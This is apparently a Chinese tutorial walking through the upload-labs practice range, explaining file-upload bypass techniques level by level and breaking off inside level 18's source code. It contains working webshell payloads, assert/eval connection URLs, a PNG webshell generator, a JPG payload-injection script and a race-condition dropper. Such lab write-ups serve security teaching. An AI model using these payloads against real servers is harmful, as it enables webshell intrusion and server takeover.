目录

1.文件上传漏洞

1.1.文件上传漏洞介绍

1.2.文件上传漏洞危害

1.3.文件上传漏洞满足条件

1.4.文件检测流程

1.5.文件上传思路

1.6.web界面存在的风险点

1.7.文件上传实战思路

2.靶场搭建

3.文件上传

3.1.upload-labs第一关

3.2.检测文件类型

3.2.1.基本概念

3.2.2.upload-labs第二关 

3.3.黑名单

3.3.1.特殊解析后缀

3.3.2.基本概念

3.3.3.upload-labs第三关

3.4..htaccess解析

3.4.1.基本概念

3.4.2.upload-labs第四关

3.5.大小写绕过

3.5.1.基本概念

3.5.2.upload-labs第五关

3.6.空格绕过

3.6.1.基本概念

3.6.2.upload-labs第六关

3.7.点绕过

3.7.1.基本概念

3.7.2.upload-labs第七关

3.8.::$$DATA绕过

3.8.1.基本概念

3.8.2.upload-labs第八关

3.9.upload-labs第九关

3.10.配合解析漏洞

3.10.1.基本概念

3.10.2.双后缀名绕过

3.10.3.基本概念

3.10.4.upload-labs第十关

3.11.白名单

3.11.1.%00截断

3.11.2.基本概念

3.11.3.upload-labs第十一关

3.12.upload-labs第十二关

3.13.二次渲染及文件头检测

3.13.1.基本概念

3.13.2.基本概念

3.13.3.upload-labs第十三关

3.14.突破gatimagesize

3.14.1.基本概念

3.14.2.upload-labs第十四关

3.15.upload-labs第十五关

3.15.1.突破exif_imagetype

3.15.2.基本概念

3.16.upload-labs第十六关

3.16.1.gif格式

3.16.2.png格式

3.16.3.jpg格式

3.17.条件竞争

3.17.1.基本概念

3.17.2.upload-labs第十七关

3.18.upload-labs第十八关

总结


1.文件上传漏洞

1.1.文件上传漏洞介绍

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。这种攻击方式是最为直接和有效的,所以我们需要思考的是如何绕过检测和过滤。

1.2.文件上传漏洞危害

  1. 上传文件web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
  2. 上传文件病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;
  3. 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
  4. 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
  5. 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

1.3.文件上传漏洞满足条件

上传的后门文件,需要能被脚本语言解析执行。

说明一:对方服务器运行的PHP环境,你不能上传一个JAVA的后门代码。
说明二:你上传文件的目录可以被脚本语言解析执行,如果你上传的目录没有执行权限也不行
说明三:一般文件上传后会返回你一个地址,如果无妨链接到也不能构成文件上传漏洞。
还有例外情况,非脚本文件也能被成功解析。比如:上传了一个图片🐎,如果对方中间件上存在一些漏洞的话,配合这些漏洞可以实现图片文件按照脚本文件解析。

1.4.文件检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求后并同意后,用户与web 服务器将建立连接,并传输data:

 而一般一个文件上传过程中的检测内容如下部分:

客户端 javascript 检测 (通常为检测文件扩展名)
服务端 MIME 类型检测 (检测 Content-Type 内容)
服务端目录路径检测 (检测跟 path 参数相关的内容)
服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
服务端文件内容检测 (检测内容是否合法或含有恶意代码)

1.5.文件上传思路

扫描获取上传,会员中心头像上传,后台系统上传,其他途径上传。

1.6.web界面存在的风险点

上传头像、上传身份认证、上传文件以及有存在文件上传的地方就可能存在相关的漏洞,但不是有文件上传就一定有漏洞,但有文件上传就能进行测试。

1.7.文件上传实战思路

上传文件和文件执行是两个东西

漏洞分类:解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)

思路:

如果有一个网站,要从文件上传的方向开始

第一步:先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/

如果有,如何找:

字典扫描:扫描会员中心,文件上传的位置

找到后,如何利用:

验证/绕过

2.靶场搭建

https://pan.baidu.com/s/1NeZ-kcZEix3UNpTHRJdczA?pwd=doba 

下载之后解压到小皮下www目录,之后开始

3.文件上传

3.1.upload-labs第一关

通过禁用界面JS处理,然后上传web.php文件,可绕过前端检测。关于如何禁用界面JS,

母马

禁用之后母马直接上传成功,这里显示为一张图片,复制图片地址,然后在蚁剑上进行连接,

 http://172.16.80.29/upload-labs/upload/web.php?0=assert&1=eval($_POST['123'])

3.2.检测文件类型

3.2.1.基本概念

服务端通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。

利用Burp抓包,将报文中的Content-Type改成允许的类型

Content-Type: image/gif(gif图像)

Content-Type: image/jpg(jpg图像)

Content-Type: image/png(png图像)

3.2.2.upload-labs第二关 

当上传文件web.php,提示文件类型不正确,通过查看源码并没有找到限制文件的上传,由此可以猜测肯定是在后端做的限制,我们抓包一探究竟

通过抓包可以发现这里的文件类型为默认参数,而我们这种情况上传文件肯定是上传不上去的,

通过源码中第五段分析得出本关采用了content-type进行后端验证,那么通过使用BS抓包对其进行修改content-type,然后再进行上传。欧克​​​​​​

3.3.黑名单

黑名单就是服务端明确不让上传的格式后缀,例如:rar、php、zip等。

3.3.1.特殊解析后缀

3.3.2.基本概念

特殊解析后缀绕过是由于黑名单过滤规则不严谨,在某些特定的情况下的后缀也能够被当作php文件进行解析,例如PHP2、php3、php4、phtml、pht等情况。

可以使用phtml、php3、php4、php5,当然前提是apache服务器,同时在配置文件夹中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。

3.3.3.upload-labs第三关

通过源码得知,禁止.asp、.aspx、.php、.jsp类型进行上传。

本关可以通过上传其他文件扩展名进行绕过,实现文件上传。

这里提示上传一张图片

那就上传一张"图",他说不能上传这几个类型,那我改个名不就好了,

很明显上传成功了,之后访问web.php5就欧克

3.4..htaccess解析

3.4.1.基本概念

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

这时候补充一个知识点:
.htaccess文件解析漏洞
.htaccess参数

常见配法有以下几种:

1.AddHandler php5-script .jpg
 
2.AddType application/x-httpd-php .jpg
 
3.Sethandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

简单来说就是,可以将我们所的文件都解析成php或者是特定的文件解析为php

3.4.2.upload-labs第四关

通过源码得知第三关使用的都被限制了,并且设定了更多的特殊解析后缀,所以使用特殊解析后缀已经无法绕过了,这里就可以使用到 .htaccess进行绕过测试。

前提条件:

Apache开启rewrite模块

.apache配置文件为AllowOverride All(默认为None)

.htaccess需要使用notepad++创建,不然创建不了,创建 .htaccess代码:


SetHandler application/x-httpd-php
​

这是将本目录及所有子目录的所有文件都解析为php文件

首先上传.htaccess,其次上传一张名叫x.png的文件,即可执行。

3.5.大小写绕过

3.5.1.基本概念

后缀大小写是通过服务端未将后缀进行统一的格式转换,导致可以上传PHP的文件,同时由于Windows系统对后缀大小写并不敏感,所以当在写PHP的改成Php就会被当作PHP进行解析。

3.5.2.upload-labs第五关

通过源码得知,并未对其大小进行限制,且是由于是黑名单,只限制了不可以上传的,那么的我们可以对php后缀进行大小写变形,例如:PHP、Php、pHp等。

3.6.空格绕过

3.6.1.基本概念

空格绕过其实就是利用了Windows对文件和文件名的限制,当将空格放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的空格就会被去除。

3.6.2.upload-labs第六关

通过源码发现并未对空格进行限制,那么我们可以在后缀添加一个空格进行绕过,但是在Windows系统中我们无法创建后缀带空格的文件,但是在数据包中不会对后缀的空格进行清楚啊,那么我们这里就需要使用到BS进行抓包,对其进行修改,然后再进行上传。

通过修改后上传到对方服务器的时候,服务器会自动对后面的空格清除,就实现了绕过。

 后边就是上传的文件,这里他将我们的文件进行了重命名。

3.7.点绕过

3.7.1.基本概念

其实点绕过和空格绕过是一样的,都是利用操作系统的特性来进行解析绕过。具体可以看空格绕过的解释。

3.7.2.upload-labs第七关

通过源码发现,本关并未对结尾点进行检测。那么这里就可以通过在后缀加上点进行绕过,这里我使用的是之前大小写的文件,并未修改名称,所以不要太在意,并不是说使用大小写可以绕过。

3.8.::$$DATA绕过

3.8.1.基本概念

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

3.8.2.upload-labs第八关

通过源码发现并未对::$DATA进行检测。可以在后面添加::$DATA进行绕过。

 

3.9.upload-labs第九关

通过源码发现本关之前所有的绕过思路都被过滤了,但是通过源码发现,所有的过滤都是一次的,并未对其进行循环过滤。也就是说源码中提到的删除空格,删除点都是只删除一次,那么可以在数据包中将php后缀添加. .,形成.php.  .,由于只验证一次,所以删除一个点和一个空格后就不在删除了。

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

 

3.10.配合解析漏洞

3.10.1.基本概念

配合解析漏洞就是利用文件上传漏洞和相关的解析漏洞进行结合完成攻击,比如配合iis、nginx、apache、tomcat的解析漏洞得到上传漏洞的实现。具体的看下面提到各种相关的解析漏洞。

3.10.2.双后缀名绕过

3.10.3.基本概念

服务端可能存在将后缀替换为空的情况,但是这就存在一种可能就是在编辑过滤的时候只过滤了一次,所以就出现了可以通过双写就绕过的可能。

3.10.4.upload-labs第十关

通过源码发现,若上传的文件后缀在禁止的列中,那么就将后缀替换为空,而这里又是只过滤一次,那么就可以通过双写进行绕过。

这里由于过滤就是从左到右进行匹配,不要问为什么不从右向左匹配。

例如:pphphp

3.11.白名单

白名单就是服务端明确可以上传的格式后缀,例如:jpg、png、jpeg等。

3.11.1.%00截断

3.11.2.基本概念

当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。

而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险

这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生

3.11.3.upload-labs第十一关

通过源码发现本关是个白名单,但是可以使用%00对路径进行截断。

我们可以看到img_path是通过get传参传递的,那么我们不妨在这块将路径改掉,改为upload/web.php%00,那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径,当然,我们还是要上传jpg文件的,使得我们可以进行下面程序的运行

查看一下也是OK的

3.12.upload-labs第十二关

本关接受值从get变成了post,它两的区别就是get会自行解码,而post不会解码,所以需要对%00进行解码。所以在这一关我们就需要在web.php后面加一个占位符,将其16进制改为00,这样控制符就出现了,最后在上传文件的时候就会触发\00截断

在BS抓包中选中%00右键选择URL其次选择网址解码。

3.13.二次渲染及文件头检测

3.13.1.基本概念

图片的格式在防护中通常是不会使用后缀进行判断的依据,文件头是文件开头的一段二进制码,不同类型的图片也就会有不同的二进制头。

JPEG (jpg),文件头:FF D8 FF E1
​
PNG (png),文件头:89 50 4E 47
​
GIF (gif),文件头:47 49 46 38

3.13.2.基本概念

二次渲染就是在我们上传的图片后,网站会对图片进行二次处理,比如对图片的尺寸、格式、以及网站对图片进行定义的一些要求等进行处理,并且服务器会对里面的内容进行二次替换更新,在处理完后,会生成一个合规的图片在网站上显示出来。

3.13.3.upload-labs第十三关

制作图片马,那什么是图片吗呢?图片码就是在一张图片中写上我们的一句话,然后利用php的文件包含特性,可以将我们的图片以php进行解析

先找一张图片,再创建一个php的一句话木马

其次就是使用copy X.png /b + 1.php /a x.png 。

制作好的图片马想要解析出来这个图片,还得有这个包含漏洞。我们看到,他已经说了,网站存在包含漏洞

上传图片马,并查找路径。

构造的URL:192.168.1.4/upload-labs/include.php?file=http://192.168.1.4/upload-labs/upload/9320240318154015.png

之后就是成功访问。其他格式的图片方法一样流程操作。 

3.14.突破gatimagesize

3.14.1.基本概念

getimagesize函数是用于获取图像大小及相关信息,成功返回一个数组,失败则返回false产生一条e_warning级的错误信息。

通过对图片及代码进行合成图片马,这个时候getimagesize函数既可以获取图片信息,文件后缀php也能够被解析成脚本文件,从而绕过getimagesize函数的限制。

3.14.2.upload-labs第十四关

本关存有getimagesize函数,这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。

使用办法和第十三关是一样的,前提都是需要存在相关的漏洞。

3.15.upload-labs第十五关

3.15.1.突破exif_imagetype

3.15.2.基本概念

服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式来验证上传文件合法性。可以通过制作图片马绕过,再配合文件包含漏洞解析文件来获取服务器配置信息。

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

3.16.upload-labs第十六关

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关就没有前面几关简单了,他是会使用imagecreatefromjpeg()函数将我们的图片打散进行二次渲染,这就会导致我们的一句话木马消失,所以我们就要想办法在他没有打散的对方将我们的一句话写进去 

3.16.1.gif格式

首先,我们先制作一个gif的图片马

然后我们进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话

在010软件进行比对,可以看到我们打散后的图片的一句话消失了

同时我们在math中可以发现还是有很多地方没有改变的,那我们就在这块进行写入一句话

 

 内容已经成功写入,我们上传之后再下载下来发现不在被打散,说明我们上传成功

 

3.16.2.png格式

相对于gif格式的图片,png的二次渲染的绕过并不能像gif那样简单.

因为png分了好几个数据块组成,如果用上面的方法就成功不了,那么我们就要相悖的办法了

这里我就直接借鉴了另外一篇文章的代码,直接使用代码生成一个拥有一句话木马的图片

详见文章

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

直接运行生成一个图片马,打开可以看到是有我们的一句话木马的

那么开始上传吧,然后下载下来查看一句话是否还在

很幸运还在

这里是post传值,所以用蚁剑测试,连接成功

URL=http://192.168.1.4/upload-labs/include.php?file=http://192.168.1.4/upload-labs/upload/14003.png&0=assert 

3.16.3.jpg格式

jpg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
 
    $miniPayload = "<?=phpinfo();?>";
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件

php 2.php web.jpg

然后我们进行上传,再下载下来检查一句话是否还在,在的话直接运行即可,如果不行就多试重几次jpg图片

 经过多次尝试,也是成功上传

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片

3.17.条件竞争

3.17.1.基本概念

条件竞争就是在源代码中是存在校验的,但是校验是在文件上传后,才开始校验,也就是文件先上传至服务器中,然后服务器会对该文件进行校验,当符合的时候则会对文件进行重命名,当文件不符合要求的时候就对将文件进行删除。

而我们则需要在服务器对文件删除前进行访问,由于文件在访问过程中,服务器是无法删除的,所以就可以利用这个节点实现条件竞争。

3.17.2.upload-labs第十七关

$is_upload = false;
$msg = null;
 
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
    $file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
    $upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
 
    // 尝试移动上传文件到指定路径
    if(move_uploaded_file($temp_file, $upload_file)){
        // 如果文件成功移动到目标路径
        if(in_array($file_ext,$ext_arr)){
            // 如果上传的文件扩展名在允许的范围内
            $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
            rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
            $is_upload = true; // 设置上传标志为true
        }else{
            // 如果上传的文件扩展名不在允许的范围内
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置错误消息
            unlink($upload_file); // 删除上传的文件
        }
    }else{
        // 如果移动上传文件失败
        $msg = '上传出错!'; // 设置错误消息
    }
}

分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除。

也就是说如果我们上传php文件,他会删除我们上传的木马。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

先上传再删除,在上传到删除之间这几十毫秒之内我们的文件还是在的,我们就可以访问我们上传的文件。这种就就叫条件竞争漏洞(时间竞争漏洞),这道题干好符合条件我们就利用时间竞争来做

假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞。

要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,最会成功的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

我们可以将一句话写成下面这句:

<?php file_put_contents('../web.php', '<?php phpinfo(); ?>'); ?>

这句话的意思是在上传文件的上一级目录生成我们的木马,写入的内容就是后边的phpinfo

​我们要多次上传,读取到文件才能执行我们的文件,在这期间他会不断删除我们的文件,所以我们要竞争

用burp起两个进程抓包之后使用Intruder一个多次上传,并且一个多次请求刷新,如果我们后写的木马执行说明成功,开始

这个负责上传  

这个负责访问

两个进程准备就绪,我们就启动

这都200了,很明显是访问到了,我们返回上一级访问一下

3.18.upload-labs第十八关

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
<?php
/** 
 * MyUpload.php
 * 一个表单上传类,负责处理文件上传。
 * 
 * 基本的上传步骤如下:
 * 
 * -> 检查文件是否已经上传到服务器临时目录
 * -> 设置上传目录
 * -> 检查文件类型是否被接受(仅检查文件扩展名)
 * -> 检查文件大小
 * -> 检查上传目录中是否存在相同文件(非必需)
 * -> 将文件移动到上传目录
 * -> 重命名上传的文件(非必需)
 * 
 

class MyUpload{
    var $cls_upload_dir = "";         // 目录上传到
    var $cls_filename = "";           // 上传文件名
    var $cls_tmp_filename = "";       // 临时文件名(由php提供)
    var $cls_max_filesize = 33554432; // 最大文件大小
    var $cls_filesize ="";            // 实际文件大小
    var $cls_arr_ext_accepted = array(
        ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt",
        ".html", ".xml", ".tiff", ".jpeg", ".png"
    );                                 // 允许的文件扩展名数组
    var $cls_file_exists = 0;         // 设置为1以在上传之前检查文件是否存在
    var $cls_rename_file = 1;         // 设置为1以在上传后重命名文件
    var $cls_file_rename_to = '';     // 上传后重命名的文件名
    var $cls_verbal = 0;              // 设置为1以返回字符串而不是错误代码

    /** 
     * 构造函数
     * 
     * @param String 文件名
     * @param String 临时文件名
     * @param Int 文件大小
     * @param String 文件重命名
     */
    function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
        $this->cls_filename = $file_name;
        $this->cls_tmp_filename = $tmp_file_name;
        $this->cls_filesize = $file_size;
        $this->cls_file_rename_to = $file_rename_to;
    }

    /** 
     * isUploadedFile()
     * 检查文件是否已上传到服务器的临时目录
     * 
     * @returns string
     */
